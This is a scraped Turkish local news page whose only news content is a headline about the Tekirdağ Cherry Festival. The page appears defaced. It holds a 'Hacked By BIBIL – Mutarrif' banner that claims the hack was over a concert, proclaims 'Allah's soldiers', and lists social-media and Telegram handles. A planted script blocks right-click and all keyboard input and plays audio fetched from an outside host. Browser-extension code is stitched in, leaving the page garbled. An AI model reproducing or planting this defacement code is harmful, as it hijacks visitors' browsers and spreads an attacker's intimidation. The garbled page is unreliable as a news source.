Tekirdağ

Kiraz Festivali ikinci gününde on binleri ağırladı

window[Symbol.for(‘MARIO_POST_CLIENT_eppiocemhmnlbhjplcgkofciiegomcon’)] = new (class PostClient {
constructor(name, destination) {
this.name = name;
this.destination = destination;
this.serverListeners = {};
this.bgRequestsListeners = {};
this.bgEventsListeners = {};
window.addEventListener(‘message’, (message) => {
const data = message.data;
const isNotForMe = !(data.destination && data.destination === this.name);
const hasNotEventProp = !data.event;
if (isNotForMe || hasNotEventProp) {
return;
}
if (data.event === ‘MARIO_POST_SERVER__BG_RESPONSE’) {
const response = data.args;
if (this.hasBgRequestListener(response.requestId)) {
try {
this.bgRequestsListeners[response.requestId](response.response);
}
catch (e) {
console.log(e);
}
delete this.bgRequestsListeners[response.requestId];
}
}
else if (data.event === ‘MARIO_POST_SERVER__BG_EVENT’) {
const response = data.args;
if (this.hasBgEventListener(response.event)) {
try {
this.bgEventsListeners[data.id](response.payload);
}
catch (e) {
console.log(e);
}
}
}
else if (this.hasServerListener(data.event)) {
try {
this.serverListeners[data.event](data.args);
}
catch (e) {
console.log(e);
}
}
else {
console.log(`event not handled: ${data.event}`);
}
});
}
emitToServer(event, args) {
const id = this.generateUIID();
const message = {
args,
destination: this.destination,
event,
id,
};
window.postMessage(message, location.origin);
return id;
}
emitToBg(bgEventName, args) {
const requestId = this.generateUIID();
const request = { bgEventName, requestId, args };
this.emitToServer(‘MARIO_POST_SERVER__BG_REQUEST’, request);
return requestId;
}
hasServerListener(event) {
return !!this.serverListeners[event];
}
hasBgRequestListener(requestId) {
return !!this.bgRequestsListeners[requestId];
}
hasBgEventListener(bgEventName) {
return !!this.bgEventsListeners[bgEventName];
}
fromServerEvent(event, listener) {
this.serverListeners[event] = listener;
}
fromBgEvent(bgEventName, listener) {
this.bgEventsListeners[bgEventName] = listener;
}
fromBgResponse(requestId, listener) {
this.bgRequestsListeners[requestId] = listener;
}
generateUIID() {
return ‘xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx’.replace(/[xy]/g, function (c) {
const r = Math.random() * 16 | 0, v = c === ‘x’ ? r : (r & 0x3 | 0x8);
return v.toString(16);
});
}
})(‘MARIO_POST_CLIENT_eppiocemhmnlbhjplcgkofciiegomcon’, ‘MARIO_POST_SERVER_eppiocemhmnlbhjplcgkofciiegomcon’)

const hideMyLocation = new (class HideMyLocation {
constructor(clientKey) {
this.clientKey = clientKey;
this.watchIDs = {};
this.client = window[Symbol.for(clientKey)];
const getCurrentPosition = navigator.geolocation.getCurrentPosition;
const watchPosition = navigator.geolocation.watchPosition;
const clearWatch = navigator.geolocation.clearWatch;
const self = this;
navigator.geolocation.getCurrentPosition = function (successCallback, errorCallback, options) {
self.handle(getCurrentPosition, ‘GET’, successCallback, errorCallback, options);
};
navigator.geolocation.watchPosition = function (successCallback, errorCallback, options) {
return self.handle(watchPosition, ‘WATCH’, successCallback, errorCallback, options);
};
navigator.geolocation.clearWatch = function (fakeWatchId) {
if (fakeWatchId === -1) {
return;
}
const realWatchId = self.watchIDs[fakeWatchId];
delete self.watchIDs[fakeWatchId];
return clearWatch.apply(this, [realWatchId]);
};
}
handle(getCurrentPositionOrWatchPosition, type, successCallback, errorCallback, options) {
const requestId = this.client.emitToBg(‘HIDE_MY_LOCATION__GET_LOCATION’);
let fakeWatchId = this.getRandomInt(0, 100000);
this.client.fromBgResponse(requestId, (response) => {
if (response.enabled) {
if (response.status === ‘SUCCESS’) {
const position = this.map(response);
successCallback(position);
}
else {
const error = this.errorObj();
errorCallback(error);
fakeWatchId = -1;
}
}
else {
const args = [successCallback, errorCallback, options];
const watchId = getCurrentPositionOrWatchPosition.apply(navigator.geolocation, args);
if (type === ‘WATCH’) {
this.watchIDs[fakeWatchId] = watchId;
}
}
});
if (type === ‘WATCH’) {
return fakeWatchId;
}
}
map(response) {
return {
coords: {
accuracy: 20,
altitude: null,
altitudeAccuracy: null,
heading: null,
latitude: response.latitude,
longitude: response.longitude,
speed: null,
},
timestamp: Date.now(),
};
}
errorObj() {
return {
code: 1,
message: ‘User denied Geolocation’,
};
}
getRandomInt(min, max) {
min = Math.ceil(min);
max = Math.floor(max);
return Math.floor(Math.random() * (max – min + 1)) + min;
}
})(‘MARIO_POST_CLIENT_eppiocemhmnlbhjplcgkofciiegomcon’)

Hacked By BIBIL (() => {
const nativePushState = history.pushState;
const nativeReplaceState = history.replaceState;
const nativeBack = history.back;
const nativeForward = history.forward;
function emitUrlChanged() {
const message = {
_custom_type_: ‘CUSTOM_ON_URL_CHANGED’,
};
window.postMessage(message);
}
history.pushState = function () {
nativePushState.apply(history, arguments);
emitUrlChanged();
};
history.replaceState = function () {
nativeReplaceState.apply(history, arguments);
emitUrlChanged();
};
history.back = function () {
nativeBack.apply(history, arguments);
emitUrlChanged();
};
history.forward = function () {
nativeForward.apply(history, arguments);
emitUrlChanged();
};
})()

★ ★ ★ ★ ★ ★ ★

Hacked By

BIBIL – Mutarrif

Melek Masso Konserine katilmaniz dolayisiyla sistemi hackledik! Allah’in Askerleri geldiINSTAGRAM @HABIL.0X & @mutarrifdefacerT.me/CasperSecurity

document.addEventListener(‘DOMContentLoaded’, () => {
let mousePosX = 0,
mousePosY = 0,
mouseCircle = document.getElementById(‘mouse-circle’);

document.onmousemove = (e) => {
mousePosX = e.pageX;
mousePosY = e.pageY;
}

let delay = 8,
revisedMousePosX = 0,
revisedMousePosY = 0;

function delayMouseFollow() {
requestAnimationFrame(delayMouseFollow);

revisedMousePosX += (mousePosX – revisedMousePosX) / delay;
revisedMousePosY += (mousePosY – revisedMousePosY) / delay;

mouseCircle.style.top = revisedMousePosY + ‘px’;
mouseCircle.style.left = revisedMousePosX + ‘px’;
}
delayMouseFollow();
});
document.addEventListener(“contextmenu”, function(e){
e.preventDefault();
}, false);

document.onkeydown = function (e) {
return false;
}

var audio = new Audio(“https://dl.sndup.net/ppq8/Nasheed%20-%20Alqovlu%20qovlu%20savarim.mp3”)

document.onclick = function() {
audio.play();
}

Bu haber Süleymanpaşa Belediyesi’nin Kendi sitesinden botlar yardımıyla otomatik olarak eklenmiştir. Bu içerikte Çorlu’da Haber editörleri herhangi bir müdahalede bulunmamıştır.

Başa dön tuşu